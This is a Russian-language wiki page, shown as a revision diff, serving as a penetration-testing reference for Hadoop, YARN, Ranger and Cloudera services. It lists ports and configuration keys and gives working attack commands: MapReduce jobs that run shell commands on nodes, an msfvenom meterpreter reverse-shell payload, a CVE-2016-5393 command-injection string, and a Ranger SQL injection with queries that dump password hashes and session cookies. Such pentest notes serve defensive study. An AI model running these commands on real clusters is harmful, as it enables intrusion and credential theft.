Hadoop — различия между версиями

Материал из InformationSecurity WIKI
Перейти к: навигация, поиск
м (MasterNode Metadata Service)
м (Admin service)
 
(не показано 27 промежуточных версий этого же участника)
Строка 1: Строка 1:
 
= Общее =
 
= Общее =
 +
 +
== Получение конфига ==
 +
 +
Несколько вариантов получения конфига Hadoop. Он может потребоваться для работы с ним через CLI. Конфиг обычно в формате XML.
 +
 +
=== Сервисы ===
 +
 +
==== WebUI ====
 +
 +
Для этого требуется перейти на один из следующих веб серверов на страницу /conf:
 +
 +
* HDFS WebUI (много потов)
 +
* JobHistory (19888, 19890) - в приоритете
 +
* ResourceManager (8088, 8090)
 +
. . .
 +
 +
=== Уязвимости ===
 +
 +
Иногда конфиг можно скачать используя уязвимости ПО.
 +
 +
==== Cloudera Manager ====
 +
 +
Конфиг будет доступен по следующему адресу:
 +
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 +
http://<cloudera_mgr_ip>:7180/cmf/services/<service_id_to_iterate>/client-config
 +
</syntaxhighlight>
 +
 +
service_id_to_iterate - можно получить перебором 0-100(или больше).
 +
 +
=== Автоматически ===
 +
 +
==== HadoopSnooper ====
 +
 +
https://github.com/wavestone-cdt/hadoop-attack-library/blob/master/Tools%20Techniques%20and%20Procedures/Getting%20the%20target%20environment%20configuration/hadoopsnooper.py
 +
 +
Позволяет скачать файлы конфига:
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 +
python hadoopsnooper.py 192.168.38.28 --nn hdfs://192.168.38.128:8020
 +
</syntaxhighlight>
 +
  
 
== Аутентификация ==
 
== Аутентификация ==
Строка 49: Строка 90:
  
 
Важно! Чтобы запросить ключ у KMS, в случае использования Access Control List (ACL) нужны привилегии.
 
Важно! Чтобы запросить ключ у KMS, в случае использования Access Control List (ACL) нужны привилегии.
 +
 +
== Поиск сервисов ==
 +
 +
=== nmap ===
 +
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 +
nmap -sV -Pn --open -v -p ПОРТЫ_ТУТ --scripts "*hadoop* or *hbase* or *flume*" АДРЕСА
 +
</syntaxhighlight>
 +
 +
== Общие атаки ==
 +
 +
=== Node RCE ===
 +
 +
Для этого требуется получить конфиг и настроить hadoop cli.
 +
 +
path_to_hadoop_streaming.jar - файл, который развертывается на нодах. Обычно он уже есть в установленном hadoop-cli по адресу /share/hadoop/tools/lib/hadoop-streaming-2.7.3.jar
 +
 +
Создаем задачу MapReduce:
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 +
hadoop jar <path_to_hadoop_streaming.jar> \
 +
-input /non_empty_file_on_HDFS \
 +
-output /output_directory_on_HDFS \
 +
-mapper "/bin/cat /etc/passwd" \
 +
-reducer NONE
 +
</syntaxhighlight>
 +
 +
Читаем результат команды:
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 +
hadoop fs –ls /output_directory_on_HDFS
 +
hadoop fs –cat /output_directory_on_HDFS/part-00000
 +
</syntaxhighlight>
 +
 +
Также результат команды можно увидеть в WebUI в консоли созданной задачи.
 +
 +
Из интересного: нельзя выбрать ноду, на которой запускается задача. Поэтому требуется запускать команду много раз, пока она не запустится на нужной.
 +
 +
 +
Бонус: эксплоит можно сгенерировать с msfvenom:
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 +
msfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.38.1 -f elf -o msf.payload
 +
 +
hadoop jar <path_to_hadoop_streaming.jar>
 +
-input /non_empty_file_on_HDFS \
 +
-output /output_directory_on_HDFS \
 +
-mapper "./msf.payload" \
 +
-reducer NONE \
 +
-file msf.payload \
 +
-background
 +
</syntaxhighlight>
 +
 +
=== RCE - CVE-2016-5393 ===
 +
 +
'''Уязвимая версия:''' Hadoop 2.6.x < 2.6.5 and 2.7.x < 2.7.3
 +
 +
'''Требования:''' должен быть авторизован и у кластера должны быть включены параметры "org.apache.hadoop.security.ShellBasedUnixGroupsMapping" и "hadoop.security.group.mapping" (конфиг core-site.xml)
 +
 +
 +
Cуть в том, что функция получения групп для пользователя не экранирует специальные символы и вставляет строку в "bash -c":
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 +
hdfs groups '$(ping 127.0.0.1)'
 +
</syntaxhighlight>
 +
 +
Второй вариант - через WebHDFS. Но для этого требуется "Simple Auth":
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 +
.../?user.name=$(ping+127.0.0.1)
 +
</syntaxhighlight>
 +
 +
 +
Подробнее: https://github.com/wavestone-cdt/hadoop-attack-library/tree/master/Hadoop%20components%20vulnerabilities/Hadoop%20Common/CVE-2016-5393%20-%20Authenticated%20command%20execution%20as%20the%20hdfs%20user
  
 
= HDFS =
 
= HDFS =
Строка 56: Строка 166:
 
== Сервисы ==
 
== Сервисы ==
  
=== MasterNode WebUI ===
+
=== MasterNode (NameNode) WebUI ===
  
 
Это веб-интерфейс, запущенный на портах 50070(http) и 50470(https). Обычно на нем отсутствует аутентификация, поэтому его можно использовать для доступа к файловой системе.
 
Это веб-интерфейс, запущенный на портах 50070(http) и 50470(https). Обычно на нем отсутствует аутентификация, поэтому его можно использовать для доступа к файловой системе.
 +
 +
Основная страница доступна по адресу /explorer.html, а при выборе даты перенаправляет на соответствующую DataNode (порт 50075).
  
 
=== MasterNode Metadata Service ===
 
=== MasterNode Metadata Service ===
Строка 75: Строка 187:
 
Веб-интерфейс для доступа к статусу, логам и тд. Запускается на 50075(http) и 50475(https) портах.
 
Веб-интерфейс для доступа к статусу, логам и тд. Запускается на 50075(http) и 50475(https) портах.
  
 +
Доступно по пути /browseDirectory.jsp
 +
 +
 +
==== hdfsbrowser.py ====
 +
Для взаимодействия с ним можно воспользоваться скриптом https://github.com/wavestone-cdt/hadoop-attack-library/tree/master/Tools%20Techniques%20and%20Procedures/Browsing%20the%20HDFS%20datalake :
 +
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 +
# В скрипте также можно указать порт, протокол
 +
python hdfsbrowser.py 10.10.10.10
 +
</syntaxhighlight>
 +
 +
Интересно, что утилита автоматически подставляет нужного пользователя - владельца файла или ноды.
 +
 +
==== hadoop cli ====
 +
 +
Для получения списка файлов требуется в переменной окружения "HADOOP_USER_NAME" указать нужного пользователя, например, root или hbase:
 +
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 +
export HADOOP_USER_NAME=hbase
 +
hadoop fs -ls /hbase
 +
hadoop fs –cat /output_directory_on_HDFS/part-00000
 +
</syntaxhighlight>
 +
 +
Для этого может потребоваться конфиг hadoop (в основной главе)
  
 
=== DataNode Data Transfer ===
 
=== DataNode Data Transfer ===
  
 
Сервис для передачи данных в DataNode. Использует порт 50010
 
Сервис для передачи данных в DataNode. Использует порт 50010
 +
 +
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 +
# Отправить файл на HDFS
 +
hadoop fs -put <localfile> <remotedst>
 +
</syntaxhighlight>
  
 
=== DataNode Metadata Service ===
 
=== DataNode Metadata Service ===
Строка 85: Строка 227:
  
  
=== Secondary Node Checkpoint Service ===
+
=== Secondary Node Checkpoint Service (Secondary NameNode WebUI) ===
  
 
Запущен на порту 50090 по протоколу http. Как понял используется для сохранения данных метадаты (запасное хранилище).
 
Запущен на порту 50090 по протоколу http. Как понял используется для сохранения данных метадаты (запасное хранилище).
Строка 263: Строка 405:
  
 
Параметр в конфиге : yarn.router.webapp.address, yarn.router.webapp.https.address
 
Параметр в конфиге : yarn.router.webapp.address, yarn.router.webapp.https.address
 +
 +
=== HttpFS (Hadoop HDFS over HTTP) ===
 +
 +
Порт(tcp): 14000, 14001
 +
 +
Протокол: http(14000), 14001(https)
 +
 +
Аутентификация: ???
  
 
= Apache HBASE =
 
= Apache HBASE =
Строка 281: Строка 431:
  
  
== Сервисы ===
+
== Сервисы ==
  
 
=== WebUI ===
 
=== WebUI ===
Строка 345: Строка 495:
  
 
Параметр конфига: ranger.service.http.port, ranger.service.https.port
 
Параметр конфига: ranger.service.http.port, ranger.service.https.port
 +
 +
==== Уязвимости ====
 +
 +
* Скачивание политик без аутентификации. Но нужно знать имя политики. (версия меньше или равна 0.5.2)
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 +
/service/plugins/policies/download/<policy_name>
 +
</syntaxhighlight>
 +
Подробнее: https://github.com/wavestone-cdt/hadoop-attack-library/tree/master/Third-party%20modules%20vulnerabilities/Apache%20Ranger/Unauthenticated%20policy%20download
 +
 +
* CVE-2016-2174 - SQL injection.
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 +
/service/plugins/policies/eventTime?eventTime=' or '1'='1&policyId=1
 +
 +
# post-exploitation: скачать хеши паролей пользователей (md5 или sha512):
 +
select last_name, first_name, email, login_id, password, user_role from x_portal_user, x_portal_user_role where x_portal_user.id = x_portal_user_role.user_id limit 3
 +
 +
# post-exploitation: скачать сессии(куки) пользователей):
 +
select auth_time, login_id, ext_sess_id from x_auth_sess where auth_status = 1 or (login_id like '%admin%' and auth_status = 1) order by auth_time desc limit 3
 +
</syntaxhighlight>
 +
Подробнее: https://github.com/wavestone-cdt/hadoop-attack-library/tree/master/Third-party%20modules%20vulnerabilities/Apache%20Ranger/CVE-2016-2174%20-%20Authenticated%20SQL%20injection
  
 
===  UNIX Auth Service ===
 
===  UNIX Auth Service ===
Строка 371: Строка 541:
  
 
= OOZIE =
 
= OOZIE =
 +
 +
Серверная система планирования рабочих процессов для управления заданиями Hadoop. Рабочие процессы в Oozie определяются как набор потоков управления и узлов действий в ориентированном ациклическом графе.
 +
 +
== Сервисы ==
 +
 +
=== Web Console ===
 +
 +
Порт: 11000, 11443
 +
 +
Протокол: HTTP(11000), HTTPS(11443)
 +
 +
 +
=== Admin service ===
 +
 +
Порт: 11001
 +
 +
Протокол: ???
  
 
= PIG =
 
= PIG =
Строка 380: Строка 567:
 
В старых версиях также присутствует DOM XSS, включена отладка, есть заголовок X-Frame-Options: ALLOWALL.
 
В старых версиях также присутствует DOM XSS, включена отладка, есть заголовок X-Frame-Options: ALLOWALL.
  
= Утилиты =  
+
= MapReduce =
 +
 
 +
Модель распределённых вычислений от компании Google, используемая в технологиях Big Data для параллельных вычислений над очень большими (до нескольких петабайт) наборами данных в компьютерных кластерах, и фреймворк для вычисления распределенных задач на узлах (node) кластера
 +
 
 +
== Сервисы ==
 +
 
 +
=== Jobhistory ===
 +
 
 +
Порт: 10020
 +
 
 +
Протокол: HTTP
 +
 
 +
Аутентификация: ???
 +
 
 +
Параметр конфига: mapreduce.jobhistory.address
 +
 
 +
=== JobTracker ===
 +
 
 +
Порт: 8021
 +
 
 +
Протокол: IPC
 +
 
 +
Аутентификация: ???
 +
 
 +
Параметр конфига: mapred.job.tracker
 +
 
 +
 
 +
Доступно только в MapReduce v1
 +
 
 +
=== JobTracker WebUI v1 ===
 +
 
 +
Порт: 50030
 +
 
 +
Протокол: HTTP
 +
 
 +
Аутентификация: ???
 +
 
 +
Параметр конфига: mapred.job.tracker.http.address
 +
 
 +
 
 +
Доступно только в MapReduce v1
 +
 
 +
=== Jobhistory WebUI v2 ===
 +
 
 +
Порт: 19888, 19890
 +
 
 +
Протокол: HTTP(19888), HTTPS(19890)
 +
 
 +
Аутентификация: ???
 +
 
 +
Параметр конфига: mapreduce.jobhistory.webapp.address, mapreduce.jobhistory.webapp.https.address
 +
 
 +
Доступен только в MapReduce v2
 +
 
 +
=== Jobhistory Shufflee ===
 +
 
 +
Порт: 13562
 +
 
 +
Протокол: HTTP
 +
 
 +
Аутентификация: ???
 +
 
 +
Параметр конфига: mapreduce.shuffle.port
 +
 
 +
=== Jobhistory Shufflee WebUI ===
 +
 
 +
Порт: 19890
 +
 
 +
Протокол: HTTPS
 +
 
 +
Аутентификация: ???
 +
 
 +
Параметр конфига: mapreduce.jobhistory.webapp.https.address
 +
 
 +
 
 +
=== TaskTracker WebUI v1 ===
 +
 
 +
Порт: 50060
 +
 
 +
Протокол: HTTP
 +
 
 +
Аутентификация: ???
 +
 
 +
Параметр конфига: mapred.task.tracker.http.address
 +
 
 +
 
 +
 
 +
 
 +
Доступно только в MapReduce v1
 +
 
 +
=== History Server WebUI ===
 +
 
 +
Порт: 51111
 +
 
 +
Протокол: HTTP
 +
 
 +
Аутентификация: ???
 +
 
 +
Параметр конфига: mapreduce.history.server.http.address
 +
 
 +
= Cloudera =
 +
 
 +
Экосистема Hadoop от компании Cloudera
 +
 
 +
== Сервисы ==
 +
 
 +
=== HUE ===
 +
 
 +
Работает на порту 8888 по протоколу HTTP.
 +
 
 +
==== Уязвимости ====
 +
 
 +
* CVE-2016-4947 - вычисление пользователей из непривилегированного аккаунта (версия меньше или равна 3.9.0):
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 +
/desktop/api/users/autocomplete
 +
</syntaxhighlight>
 +
 
 +
 
 +
* CVE-2016-4946 - хранимая XSS (версия меньше или равна 3.9.0). Находится во вкладке Hue Users - Edit user в полях First name и Last name.
 +
 
 +
 
 +
* Open redirect (версия меньше или равна 3.9.0).
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 +
/accounts/login/?next=//[domain_name]
 +
</syntaxhighlight>
 +
 
 +
=== Manager ===
 +
 
 +
Работает на порту 7180(http) и 7183(https).
 +
 
 +
==== Уязвимости ====
 +
 
 +
* Получение списка пользователей (версия меньше или равна 5.5)
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 +
/api/v1/users
 +
</syntaxhighlight>
 +
 
 +
 
 +
* Вычисление пользовательских сессий из непривилегированного аккаунта (CVE-2016-4950) (версия меньше или равна 5.5):
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 +
/api/v1/users/sessions
 +
</syntaxhighlight>
 +
 
 +
 
 +
* Доступ к логам процесса(process_id можно перебрать) (версия меньше или равна 5.5):
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 +
/cmf/process/<process_id>/logs?filename={stderr,stdout}.log
 +
</syntaxhighlight>
 +
 
 +
 
 +
* CVE-2016-4948 - Stored XSS  (версия меньше или равна 5.5)
 +
 
 +
 
 +
* CVE-2016-4948 - Reflected XSS (версия меньше или равна 5.5):
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 +
/cmf/cloudera-director/redirect?classicWizard=[XSS]&clusterid=1
 +
</syntaxhighlight>
 +
 
 +
= Утилиты =
 +
 
 +
== Hadoop Attack Library ==
 +
 
 +
https://github.com/wavestone-cdt/hadoop-attack-library
 +
 
 +
=== hadoopsnooper.py ===
 +
https://github.com/wavestone-cdt/hadoop-attack-library/blob/master/Tools%20Techniques%20and%20Procedures/Getting%20the%20target%20environment%20configuration/
 +
 
 +
 
 +
Скрипт для получения конфига hadoop
 +
 
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 +
python hadoopsnooper.py 192.168.38.28 --nn hdfs://192.168.38.128:8020
 +
</syntaxhighlight>
 +
 
 +
=== hdfsbrowser.py ===
 +
 
 +
https://github.com/wavestone-cdt/hadoop-attack-library/tree/master/Tools%20Techniques%20and%20Procedures/Browsing%20the%20HDFS%20datalake
 +
 
 +
Скрипт для рааботы с WebHDFS. В скрипте также можно указать порт, протокол
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 +
python hdfsbrowser.py 10.10.10.10
 +
</syntaxhighlight>
  
 
= Ссылки =
 
= Ссылки =

Текущая версия на 11:57, 16 сентября 2022

Содержание

Общее

Получение конфига

Несколько вариантов получения конфига Hadoop. Он может потребоваться для работы с ним через CLI. Конфиг обычно в формате XML.

Сервисы

WebUI

Для этого требуется перейти на один из следующих веб серверов на страницу /conf:

  • HDFS WebUI (много потов)
  • JobHistory (19888, 19890) - в приоритете
  • ResourceManager (8088, 8090)

. . .

Уязвимости

Иногда конфиг можно скачать используя уязвимости ПО.

Cloudera Manager

Конфиг будет доступен по следующему адресу:

http://<cloudera_mgr_ip>:7180/cmf/services/<service_id_to_iterate>/client-config

service_id_to_iterate - можно получить перебором 0-100(или больше).

Автоматически

HadoopSnooper

https://github.com/wavestone-cdt/hadoop-attack-library/blob/master/Tools%20Techniques%20and%20Procedures/Getting%20the%20target%20environment%20configuration/hadoopsnooper.py

Позволяет скачать файлы конфига:

python hadoopsnooper.py 192.168.38.28 --nn hdfs://192.168.38.128:8020


Аутентификация

По-умолчанию simple (то есть отключена, можно выдавать себя за любого). Можно переключить на kerberos. За это отвечает параметр в конфиге hadoop.security.authentication.

Шифрование

По-умолчанию отключено для передачи (in-transit) и хранения (at-rest).

NameNode

Для общения с NameNode могут быть использованы следующие механизмы аутентификации:

- GSS-API

- Digest-MD5

Web Apps

Как правило, используется SSL/TLS.


DataNodes

Шифрование может быть на 2 уровнях:

1. обмен ключами используя 3DES или RC4

2. Шифрование используя AES 128(default)/192/256.

At-rest

Означает хранилище файлов. Если кратко:

  • Данные шифруются DEK-ключем (Data Encryption Key)
  • DEK зашифрован ключем EZ (Encryption Zone) -> EDEK (Encrypted Data Encryption Key)


Обратный процесс:

  • EDEK запрашивается у NameNode
  • Запрашиваем KMS расшифровать EDEK - получаем DEK
  • Расшифровываем или зашифровываем данные с DEK.


Важно! Чтобы запросить ключ у KMS, в случае использования Access Control List (ACL) нужны привилегии.

Поиск сервисов

nmap

nmap -sV -Pn --open -v -p ПОРТЫ_ТУТ --scripts "*hadoop* or *hbase* or *flume*" АДРЕСА

Общие атаки

Node RCE

Для этого требуется получить конфиг и настроить hadoop cli.

path_to_hadoop_streaming.jar - файл, который развертывается на нодах. Обычно он уже есть в установленном hadoop-cli по адресу /share/hadoop/tools/lib/hadoop-streaming-2.7.3.jar

Создаем задачу MapReduce:

 hadoop jar <path_to_hadoop_streaming.jar> \
-input /non_empty_file_on_HDFS \
-output /output_directory_on_HDFS \
-mapper "/bin/cat /etc/passwd" \
-reducer NONE

Читаем результат команды:

hadoop fs –ls /output_directory_on_HDFS
hadoop fs –cat /output_directory_on_HDFS/part-00000

Также результат команды можно увидеть в WebUI в консоли созданной задачи.

Из интересного: нельзя выбрать ноду, на которой запускается задача. Поэтому требуется запускать команду много раз, пока она не запустится на нужной.


Бонус: эксплоит можно сгенерировать с msfvenom:

msfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.38.1 -f elf -o msf.payload

hadoop jar <path_to_hadoop_streaming.jar>
-input /non_empty_file_on_HDFS \
-output /output_directory_on_HDFS \
-mapper "./msf.payload" \
-reducer NONE \
-file msf.payload \
-background

RCE - CVE-2016-5393

Уязвимая версия: Hadoop 2.6.x < 2.6.5 and 2.7.x < 2.7.3

Требования: должен быть авторизован и у кластера должны быть включены параметры "org.apache.hadoop.security.ShellBasedUnixGroupsMapping" и "hadoop.security.group.mapping" (конфиг core-site.xml)


Cуть в том, что функция получения групп для пользователя не экранирует специальные символы и вставляет строку в "bash -c":

hdfs groups '$(ping 127.0.0.1)'

Второй вариант - через WebHDFS. Но для этого требуется "Simple Auth":

.../?user.name=$(ping+127.0.0.1)


Подробнее: https://github.com/wavestone-cdt/hadoop-attack-library/tree/master/Hadoop%20components%20vulnerabilities/Hadoop%20Common/CVE-2016-5393%20-%20Authenticated%20command%20execution%20as%20the%20hdfs%20user

HDFS

HDFS (Hadoop FileSystem) - это виртуальная файловая система Hadoop, доступная по сети.

Сервисы

MasterNode (NameNode) WebUI

Это веб-интерфейс, запущенный на портах 50070(http) и 50470(https). Обычно на нем отсутствует аутентификация, поэтому его можно использовать для доступа к файловой системе.

Основная страница доступна по адресу /explorer.html, а при выборе даты перенаправляет на соответствующую DataNode (порт 50075).

MasterNode Metadata Service

Использует протокол IPC на портах 8020 и 9000. Требуется для взаимодействия с метадатой файлов HDFS.

Команды для взаимодействия:

# Получение списка файлов (и их метадаты)
hadoop fs -ls /tmp

DataNode WebUI

Веб-интерфейс для доступа к статусу, логам и тд. Запускается на 50075(http) и 50475(https) портах.

Доступно по пути /browseDirectory.jsp


hdfsbrowser.py

Для взаимодействия с ним можно воспользоваться скриптом https://github.com/wavestone-cdt/hadoop-attack-library/tree/master/Tools%20Techniques%20and%20Procedures/Browsing%20the%20HDFS%20datalake :

# В скрипте также можно указать порт, протокол
python hdfsbrowser.py 10.10.10.10

Интересно, что утилита автоматически подставляет нужного пользователя - владельца файла или ноды.

hadoop cli

Для получения списка файлов требуется в переменной окружения "HADOOP_USER_NAME" указать нужного пользователя, например, root или hbase:

export HADOOP_USER_NAME=hbase
hadoop fs -ls /hbase
hadoop fs –cat /output_directory_on_HDFS/part-00000

Для этого может потребоваться конфиг hadoop (в основной главе)

DataNode Data Transfer

Сервис для передачи данных в DataNode. Использует порт 50010


# Отправить файл на HDFS
hadoop fs -put <localfile> <remotedst>

DataNode Metadata Service

Использует протокол IPC на порту 50020. Требуется для взаимодействия с метадатой файлов HDFS.


Secondary Node Checkpoint Service (Secondary NameNode WebUI)

Запущен на порту 50090 по протоколу http. Как понял используется для сохранения данных метадаты (запасное хранилище).

YARN

Интерфейсы (сервисы)

Application Manager

Порт(tcp): 8032

Протокол: http

Аутентификация: ???

Параметр в конфиге : yarn.resourcemanager.address

Scheduler

Порт(tcp): 8030

Протокол: http

Аутентификация: ???

Параметр в конфиге : yarn.resourcemanager.scheduler.address

ResourceManager Web Application

Порт(tcp): 8088, 8090

Протокол: http(8088), https(8090)

Аутентификация: ???

Параметр в конфиге : yarn.resourcemanager.webapp.address, yarn.resourcemanager.webapp.https.address

ResourceManager Tracker

Порт(tcp): 8031

Протокол: ???

Аутентификация: ???

Параметр в конфиге : yarn.resourcemanager.resource-tracker.address


ResourceManager Admin

Порт(tcp): 8033

Протокол: ???

Аутентификация: ???

Параметр в конфиге : yarn.resourcemanager.admin.address

NodeManager СontainerManager

Порт(tcp): 0

Протокол: ???

Аутентификация: ???

Параметр в конфиге : yarn.nodemanager.address

NodeManager Localizer

Порт(tcp): 8040

Протокол: ??? (IPC)

Аутентификация: ???

Параметр в конфиге: yarn.nodemanager.localizer.address

NodeManager Collector Service

Порт(tcp): 8048

Протокол: ??? (IPC)

Аутентификация: ???

Параметр в конфиге: yarn.nodemanager.collector-service.address

NodeManager WebUI

Порт(tcp): 8042, 8044

Протокол: http(8042), https(8044)

Аутентификация: ???

Параметр в конфиге: yarn.nodemanager.webapp.address, yarn.nodemanager.webapp.https.address

NodeManager Timeline RPC

Порт(tcp): 10200

Протокол: ???

Аутентификация: ???

Параметр в конфиге: yarn.timeline-service.address

NodeManager Timeline WebUI

Порт(tcp): 8188, 8190

Протокол: http(8188), https(8190)

Аутентификация: ???

Параметр в конфиге: yarn.timeline-service.webapp.address, yarn.timeline-service.webapp.https.address

SharedCacheManager Admin

Порт(tcp): 8047

Протокол: ???

Аутентификация: ???

Параметр в конфиге: yarn.sharedcache.admin.address

SharedCacheManager WebUI

Порт(tcp): 8788

Протокол: ???(http)

Аутентификация: ???

Параметр в конфиге: yarn.sharedcache.webapp.address

SharedCacheManager Node Manager

Порт(tcp): 8046

Протокол: ???

Аутентификация: ???

Параметр в конфиге: yarn.sharedcache.uploader.server.address

SharedCacheManager Client

Порт(tcp): 8045

Протокол: ???

Аутентификация: ???

Параметр в конфиге : yarn.sharedcache.client-server.address

NodeManager AMRMProxyService

Порт(tcp): 8049

Протокол: ???

Аутентификация: ???

Параметр в конфиге : yarn.nodemanager.amrmproxy.address

Router WebUI

Порт(tcp): 8089, 8091

Протокол: http(8089), https(8091)

Аутентификация: ???

Параметр в конфиге : yarn.router.webapp.address, yarn.router.webapp.https.address

HttpFS (Hadoop HDFS over HTTP)

Порт(tcp): 14000, 14001

Протокол: http(14000), 14001(https)

Аутентификация: ???

Apache HBASE

ZooKeeper

Apache Ambari

Нужен для упрощения управления кластерами Hadoop, используя WebUI. Есть возможность интегрироваться с другими приложениями по REST API.

Из интересного:

- Все могут авторизоваться (даже стандартные юзеры)

- Нет защиты (directory listing, no cookie flags, no CSRF)

- CVE-2015-1775 - /logs/ логи


Сервисы

WebUI

Общение по протоколу http (порт 8080) и https (порт 8440).

Registration/Heartbeat

Общение по протоколу https на порту 8441.

Agent

Порт 8670/tcp используется для Ping.

Apache Spark

Apache Kafka/Storm

Apache HIVE / DRILL

Mahout

Apache Solr / Lucene

Apache Ranger

Компонент безопасности Hadoop с открытым исходным кодом.

Из интересного:

- Поддержка Kerberos

- REST API

- Журналы аудита

- Модель разрешений на основе политики доступа (политики, юзеры, группы)


Интересные ИБ-проблемы:

- Slow HTTP DOS

- Все юзеры могут авторизоваться в Ranger (но не все - выполнять действия)

- CVE-2015-0266 - Missing function level access control, можно использовать для повышения привилегий

- CVE-2015-0265 - XSS в UserAgent


TODO: изучить как работает


https://ranger.apache.org/apidocs/index.html - API документация

Сервисы

Admin WebUI

Порт: 6080, 6182

Протокол: http(6180),https(6182)

Параметр конфига: ranger.service.http.port, ranger.service.https.port

Уязвимости

  • Скачивание политик без аутентификации. Но нужно знать имя политики. (версия меньше или равна 0.5.2)
/service/plugins/policies/download/<policy_name>

Подробнее: https://github.com/wavestone-cdt/hadoop-attack-library/tree/master/Third-party%20modules%20vulnerabilities/Apache%20Ranger/Unauthenticated%20policy%20download

  • CVE-2016-2174 - SQL injection.
/service/plugins/policies/eventTime?eventTime=' or '1'='1&policyId=1

# post-exploitation: скачать хеши паролей пользователей (md5 или sha512):
select last_name, first_name, email, login_id, password, user_role from x_portal_user, x_portal_user_role where x_portal_user.id = x_portal_user_role.user_id limit 3

# post-exploitation: скачать сессии(куки) пользователей):
select auth_time, login_id, ext_sess_id from x_auth_sess where auth_status = 1 or (login_id like '%admin%' and auth_status = 1) order by auth_time desc limit 3

Подробнее: https://github.com/wavestone-cdt/hadoop-attack-library/tree/master/Third-party%20modules%20vulnerabilities/Apache%20Ranger/CVE-2016-2174%20-%20Authenticated%20SQL%20injection

UNIX Auth Service

Порт: 5151

Протокол: SSL/TCP

Параметр конфига: ranger.usersync.port

Ranger KMS

Порт: 9292, 9293

Протокол: http(9292), https(9293)

Параметр конфига: ranger.service.http.port, ranger.service.https.port

Solr Audit

Порт: 6083, 6183

Протокол: http(6083), https(6183)

Параметр конфига: ranger-admin (???)

OOZIE

Серверная система планирования рабочих процессов для управления заданиями Hadoop. Рабочие процессы в Oozie определяются как набор потоков управления и узлов действий в ориентированном ациклическом графе.

Сервисы

Web Console

Порт: 11000, 11443

Протокол: HTTP(11000), HTTPS(11443)


Admin service

Порт: 11001

Протокол: ???

PIG

Apache Hue

Облачный редактор SQL с открытым исходным кодом. Упоминается тут тк часто используется вместе с Hadoop. Использует порт 8888 по протоколу HTTP.

В старых версиях также присутствует DOM XSS, включена отладка, есть заголовок X-Frame-Options: ALLOWALL.

MapReduce

Модель распределённых вычислений от компании Google, используемая в технологиях Big Data для параллельных вычислений над очень большими (до нескольких петабайт) наборами данных в компьютерных кластерах, и фреймворк для вычисления распределенных задач на узлах (node) кластера

Сервисы

Jobhistory

Порт: 10020

Протокол: HTTP

Аутентификация: ???

Параметр конфига: mapreduce.jobhistory.address

JobTracker

Порт: 8021

Протокол: IPC

Аутентификация: ???

Параметр конфига: mapred.job.tracker


Доступно только в MapReduce v1

JobTracker WebUI v1

Порт: 50030

Протокол: HTTP

Аутентификация: ???

Параметр конфига: mapred.job.tracker.http.address


Доступно только в MapReduce v1

Jobhistory WebUI v2

Порт: 19888, 19890

Протокол: HTTP(19888), HTTPS(19890)

Аутентификация: ???

Параметр конфига: mapreduce.jobhistory.webapp.address, mapreduce.jobhistory.webapp.https.address

Доступен только в MapReduce v2

Jobhistory Shufflee

Порт: 13562

Протокол: HTTP

Аутентификация: ???

Параметр конфига: mapreduce.shuffle.port

Jobhistory Shufflee WebUI

Порт: 19890

Протокол: HTTPS

Аутентификация: ???

Параметр конфига: mapreduce.jobhistory.webapp.https.address


TaskTracker WebUI v1

Порт: 50060

Протокол: HTTP

Аутентификация: ???

Параметр конфига: mapred.task.tracker.http.address



Доступно только в MapReduce v1

History Server WebUI

Порт: 51111

Протокол: HTTP

Аутентификация: ???

Параметр конфига: mapreduce.history.server.http.address

Cloudera

Экосистема Hadoop от компании Cloudera

Сервисы

HUE

Работает на порту 8888 по протоколу HTTP.

Уязвимости

  • CVE-2016-4947 - вычисление пользователей из непривилегированного аккаунта (версия меньше или равна 3.9.0):
/desktop/api/users/autocomplete


  • CVE-2016-4946 - хранимая XSS (версия меньше или равна 3.9.0). Находится во вкладке Hue Users - Edit user в полях First name и Last name.


  • Open redirect (версия меньше или равна 3.9.0).
/accounts/login/?next=//[domain_name]

Manager

Работает на порту 7180(http) и 7183(https).

Уязвимости

  • Получение списка пользователей (версия меньше или равна 5.5)
/api/v1/users


  • Вычисление пользовательских сессий из непривилегированного аккаунта (CVE-2016-4950) (версия меньше или равна 5.5):
/api/v1/users/sessions


  • Доступ к логам процесса(process_id можно перебрать) (версия меньше или равна 5.5):
/cmf/process/<process_id>/logs?filename={stderr,stdout}.log


  • CVE-2016-4948 - Stored XSS (версия меньше или равна 5.5)


  • CVE-2016-4948 - Reflected XSS (версия меньше или равна 5.5):
/cmf/cloudera-director/redirect?classicWizard=[XSS]&clusterid=1

Утилиты

Hadoop Attack Library

https://github.com/wavestone-cdt/hadoop-attack-library

hadoopsnooper.py

https://github.com/wavestone-cdt/hadoop-attack-library/blob/master/Tools%20Techniques%20and%20Procedures/Getting%20the%20target%20environment%20configuration/


